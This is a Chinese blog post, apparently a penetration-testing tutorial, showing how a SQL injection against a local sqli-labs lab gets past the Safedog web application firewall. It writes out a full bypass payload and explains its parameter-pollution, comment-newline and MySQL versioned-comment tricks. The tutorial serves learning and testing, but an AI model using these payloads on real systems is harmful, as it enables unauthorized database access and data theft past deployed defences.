• SQL注入绕过safedog原理分析(二)


    今天继续给大家介绍渗透测试相关知识,本文主要内容是SQL注入绕过safedog的姿势及原理。

    免责声明:
    本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
    再次强调:严禁对未授权设备进行渗透测试!

    一、绕过payload与结果

    今天尝试对PHPstudy+sqli_labs+安全狗环境进行渗透测试,主要是测试绕过安全狗进行SQL注入的姿势。
    首先,我们先来看下正常访问网站:

    http://192.168.136.7/sqli/Less-2/?id=1
    
    • 1

    访问结果如下所示:
    在这里插入图片描述
    正常使用SQL注入语句进行访问:

    http://192.168.136.7/sqli/Less-2/?id=1 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1--+
    
    • 1

    访问结果如下所示:
    在这里插入图片描述
    使用修改后的URL绕过安全狗,payload构造如下所示:

    http://192.168.136.7/sqli/Less-2/?a=1/*&id=-1%20union--+tctctc%0A%20select%201,2,table_name%20--+tctctc%0A+/*!44444from*/+information_schema.tables%20where%20table_schema=database/**/()%20limit%200,1--+&b=1*/
    
    • 1

    结果如下所示:
    在这里插入图片描述
    从上图中我们可以看出,使用上述payload,我们成功绕过了安全狗。

    二、payload分析

    分析上述payload,可以看出一共使用了三种绕过方式,来避开安全狗对参数的过滤,这三种方式如下所示:
    1、GET传参绕过
    所谓GET传参绕过,指的是传入其他的参数,利用注释,混淆安全狗对url的检验。
    在sali_lab中,我们本来只需要传入id参数,但是在上述payload中,我们传入了id、a和b参数。对于如下payload:

    a=1/*&id=-1%20union--+tctctc%0A%20select%201,2,table_name%20--+tctctc%0A+/*!44444from*/+information_schema.tables%20where%20table_schema=database/**/()%20limit%200,1--+&b=1*/
    
    • 1

    web服务器会将上述解析为三个参数,如下所示:

    a=1/*
    id=-1%20union--+tctctc%0A%20select%201,2,table_name%20--+tctctc%0A+/*!44444from*/+information_schema.tables%20where%20table_schema=database/**/()%20limit%200,1--+
    b=1*/
    
    • 1
    • 2
    • 3

    而对于安全狗而言,只会将其作为一个统一的参数来考虑。因此a参数后面的“*/”和b参数前面的“*/”,就会被安全狗当作注释里的内容来进行处理。
    从而起到一定的绕过作用。
    2、注释换行绕过
    观察上述payload,会发现里面在很多关键字之间(比如union和select)之间,使用了

    --+tctctc%0A
    
    • 1

    在上述字符串中,–的含义是注释,%0A的含义是换行,tctctc是随便输入的乱码。
    对于安全狗而言,–后面的所有字符串全部被注释掉了,但是对于SQL语句而言,由于出现了换行符%0A,因此–注释掉的只有tctctc,%0A后面的会自动拼接到前面的语句执行,利用这种方式,可以绕过安全够对某些关联字段的过滤。
    3、MySQL数据库特性绕过
    除了上述两种手段之外,上述payload还借助了MySQL数据库的特性来实现绕过。
    注意看以下字段:

    /*!44444from*/
    
    • 1

    需要注意的是这不仅仅是简单的SQL内联注释绕过,而是在MySQL中有其特定含义。对于MySQL数据库而言,对于上述payload,如果开头是5个数字的话,其含义为当数据库版本大于4.44.44,就把之后的内容当作正常语句来执行,而如果数据库版本如果小于4.44.44,就把后面的内容当作注释的内容来执行。而对于安全狗而言,则只会把该语句当作普通的payload来处理。
    MySQL数据库对这类语句处理如下所示:
    在这里插入图片描述
    我们可以利用这一点,故意选择5个低于数据库版本的数字,使得其中的内容生效,或者选择5个高于数据库版本的数字,使得其中的内容失效,从而得到绕过安全狗的效果。
    除此之外,还有如下字段:

    database/**/()
    
    • 1

    在MySQL数据库中,该函数可以被正常识别称为database()并执行。
    MySQL数据库对该函数的处理结果如下所示:
    在这里插入图片描述

    三、写在最后

    最后,针对本文内容,一些SQL注入的初学者不要直接套用我的payload去尝试绕过payload,而更应该把心思和精力放到上述绕过手段的学习上,一个绕过方法必然带来WAF厂商的注意并进行封禁,而只要我们多学习一些绕过姿势,自然能够应对一系列的风险!
    原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

  • 相关阅读:
    Docker基本管理
    Android中内存泄漏的检测,解决方案以及示例
    现在学Oracle是49年入国军么?
    你的编程能力从什么时候开始突飞猛进? 我的回答:2013年,我开始喜欢编程了。
    Python01:数据库操作
    openGauss的索引组织表
    Linux——环境基础开发工具的使用
    Linux工具——gdb
    猿创征文|centos7升级openssh服务(再也不怕漏扫啦)
    flink本地IDEA测试checkpoint
  • 原文地址:https://blog.csdn.net/weixin_40228200/article/details/126317544